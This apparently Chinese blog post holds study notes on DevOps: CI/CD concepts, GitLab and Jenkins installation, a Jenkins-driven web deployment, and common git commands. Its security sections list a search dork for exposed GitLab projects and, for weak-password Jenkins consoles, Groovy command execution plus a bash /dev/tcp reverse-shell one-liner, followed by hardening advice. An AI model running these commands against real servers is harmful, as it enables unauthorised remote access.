devops基础

1 devops是什么?

软件开发人员(Dev)
IT运维技术人员(Ops)
是一组过程、方法与系统的统称,用于促进开发、技术运营和质量保障(QA)部门之间的沟通、协作与整合
通过自动化“软件交付”和“架构变更”的流程,来使得构建、测试、发布软件能够更加地快捷、频繁和可靠。

我理解是,通过一系列方法/制度/工具,使开发/测试/运维的工作流程紧密结合,减少不必要的时间浪费,使开发=>测试=>部署上线整个流程加速
资本主义压榨手法

常见方案:DEV+sec+OPS

实践:

  1. SDL
  2. 安全基线检查

2 持续集成

持续集成概述:持续集成(Continuous integration)是指开发者在代码的开发过程中,可以频繁的将代码部署集成到主干,并自动化测试。
持续交付:持续交付指的是在持续集成的环境基础上,将代码部署到预生产环境。
持续部署:在持续交付的基础上,把部署到生产环境的过程自动化。

3 jenkins和 gitlab

Jenkins 概述:是一个开源软件项目,是基于 Java 开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能
GitLab 概述:是一个利用 Ruby on Rails 开发的开源应用程序,实现一个自托管的 Git 项目仓库,可通过 Web界面进行访问公开的私人项目。Ruby on Rails 是一个可以使你开发、部署、维护 web 应用程序变得简单的框架。私有github

不同点:
1、GitHub如果要使用私有仓库,是需要付费的。GitLab可以在上面创建私人的免费仓库。
2、GitLab让开发团队对他们的代码仓库拥有更多的控制,相比于GitHub,它有不少的特色:允许免费设置仓库权限;允许用户选择分享一个project的部分代码;允许用户设置project的获取权限,进一步的提升安全性;可以设置获取到团队整体的改进进度;通过 innersourcing 让不在权限范围内的人访问不到该资源。
总结:从代码私有性方面来看,有时公司并不希望员工获取到全部的代码,这个时候 GitLab 无疑是更好的选择

开发只负责开发,也就是将代码上传到git上
运维负责部署,将代码推送到web服务器上部署运行

jenkins负责将代码推送到服务器上,gitlab负责存储代码
1 开发者将新版本 push 到 Gitlab。
2 Gitlab 随后触发 jenkins master 节点进行一次 build。(通过 web hook 或者定时检测)
3 jenkins master 节点将这个build任务分配给若干个注册的slave节点中的一个,这个slave点根据一个事先设置好的脚本进行build。这个脚本可以做的事情很多,比如编译,测试,生成测试报告等等。这些原本需要手动完成的任务都可以交给 jenkins 来做。
4 在 build 中要进行编译,一般使用分布式编译器 distcc 来加快编译速度。

3.1 gitlab安装配置

  • 安装
yum makecache
yum -y install curl policycoreutils cronie policycoreutils-python openssh-server openssh-clients postfix git wget patch
scp gitlab-ce-12.3.5-ce.0.el7.x86_64.rpm root@172.16.73.21:/
rpm -ivh /gitlab-ce-12.3.5-ce.0.el7.x86_64.rpm

修改 gitlab 外部访问地址
vi /etc/gitlab/gitlab.rb

重置配置,重启服务

gitlab-ctl reconfigure
gitlab-ctl restart

访问ip
创建root密码

  • 配置
    创建组

建项目


新建文件

测试克隆同步

附录:gitlab相关命令
关闭 gitlab: # gitlab-ctl stop
启动 gitlab: # gitlab-ctl start
重启 gitlab: # gitlab-ctl restart
gitlab 主配置文件:/etc/gitlab/gitlab.rb //可以自定义一些邮件服务等
日志地址:/var/log/gitlab/ // 对应各服务
服务地址:/var/opt/gitlab/ // 对应各服务的主目录
仓库地址:/var/opt/gitlab/git-data //记录项目仓库等提交信息
重置配置:gitlab-ctl reconfigure //不要乱用,会重置为最原始的配置的
重启服务:gitlab-ctl stop/start/restart //启动命令

3.2 gitlab安全风险

未授权获取gitlab项目信息

搜索引擎:inurl:/explore/projects
直接可以搜到公网的gitlab项目信息

如果项目不是私密,是公开,则会像下面这样导致源码泄露,敏感信息泄露

3.3 gitlab安全建设

  1. 公网上的gitlab所有项目设置非公开
  2. /explore/projects修改url
  3. HW中作为诱饵,公开假项目,内藏导向蜜罐的配置信息,溯源攻击者

3.4 jenkins安装配置

  • 安装
yum -y install java-1.8.0
java -version
1)最新版安装,慢
cd /etc/yum.repos.d/
wget http://pkg.jenkins.io/redhat/jenkins.repo
rpm --import http://pkg.jenkins.io/redhat/jenkins.io.key
yum makecache
yum install jenkins
2)rpm包安装
下载上传rpm
rpm -ivh jenkins-2.190.1-1.1.noarch.rpm
  • 配置
    修改用户和端口
    vi /etc/sysconfig/jenkins

重启服务,开机自启
/etc/init.d/jenkins start
chkconfig jenkins on
访问ip:端口

/var/lib/jenkins/secrets/initialAdminPassword储存着jenkins的root密码
因为插件安装从国外下载,通过上传插件文件夹来安装

systemctl stop jenkins
cd /var/lib/jenkins/
rm -rf plugins/
chown -R jenkins:jenkins plugins/
systemctl start jenkins

重新访问jenkins的web页面,选择安装推荐的插件
创建管理员用户

点点点

3.5 jenkins安全风险

弱口令导致的后台危险操作

  1. 后台命令执行反弹shell
    url:ip:port/script
    println "whoami".execute().text

    反弹:bash -i >& /dev/tcp/192.168.1.24/9999 0>&1
  2. 凭据泄露
    ssh/gitlab=>后门/不良内容上传
  3. 构建执行命令导致远程服务器被getshell

3.6 jenkins安全建设

  1. 强口令
  2. 低权限
  3. 版本更新=>及时防止Nday攻击

4 jenkins+gitlab部署web服务器

通过Jenkins、gitlab对远程web服务器部署代码更新

添加凭据

配置SSH

创建任务

rm -rf /opt/man1
cd /opt
git clone http://172.16.73.21/man/man1.git
cp -rf /opt/man1/* /var/www/html

保存
立即构建就会执行上面的命令,作用是同步更新gitlab的源码到web服务器上

控制台输出看构建过程

以后gitlab更新源码,在jenkins构建一下就可以同步更新了

5 git

5.1 配置

git的配置分用户和项目

  • 用户:~/.gitconfig
    用户目录下的配置文件只适用于该用户,若使用git config时加了--global选项,读写的就是这个文件
    git config --global user.name "root"
    git config --global user.email "admin@example.com"
    cat ~/.gitconfig

  • 项目:当前项目中的.git/config
    项目下的配置文件仅对当前项目有效,如果想要特定项目的配置与用户配置不同,进入到特定项目下,去掉--global选项重新配置即可
    cd wordpress/
    git config user.name "root"
    git config user.email "admin@example.com"
    cat .git/config

5.2 常用命令

设置全局用户名:git config --global user.name "name"
设置全局邮箱:git config --global user.email "admin@example.com"
列出用户的全局配置:git config --global --list
添加文件到暂存区:git add file
提交到版本库:git commit -m "注释"
查看工作区状态:git status
提交代码到git服务器:git push
拉取代码到本地:git pull
查看操作日志:git log
git版本回滚,HEAD为当前版本,加一个为上一个,^上一个:git rest --hard HEAD^^
获取每次提交的ID:git reflog
回退到指定ID版本:git reset --hard 5ae4b06
查看当前所处分支:git branch
从git服务器更新某文件覆盖本地文件:git checkout -- file

5.3 工作区和暂存区

文件提交git过程:工作区->暂存区->git服务器
工作区是编辑文件的区域,需要将工作区修改好的文件add到暂存区才能提交到git服务器
可以选择添加工作区的一个或多个文件到暂存区

提交需要设置用户和邮箱,可以设置全局也可以进项目文件夹设置本地

git config --global user.name "Administrator"
git config --global user.email "admin@example.com"

分支提交:

git clone x
cd x
git branch x1    #创建分支
git checkout x1    #切换分支
git branch    #查看所处分支
touch test.txt
git add test.txt    #提交到暂存区
git commit -m "add test.txt"    #提交到版本库
git push -u origin x1    #上传到分支

主支提交:

git clone http://192.168.17.216/root/git-test.git
cd git-test
touch README.md
git add README.md
git commit -m "add README"
git push -u origin master

推送现有文件夹:

cd existing_folder
git init
git remote add origin http://192.168.17.216/root/git-test.git
git add .
git commit -m "Initial commit"
git push -u origin master

推送现有的 Git 仓库:

cd existing_repo
git remote rename origin old-origin
git remote add origin http://192.168.17.216/root/git-test.git
git push -u origin --all
git push -u origin --tags
posted @ 2020-10-11 22:18  雨九九  阅读(368)  评论(0编辑  收藏  举报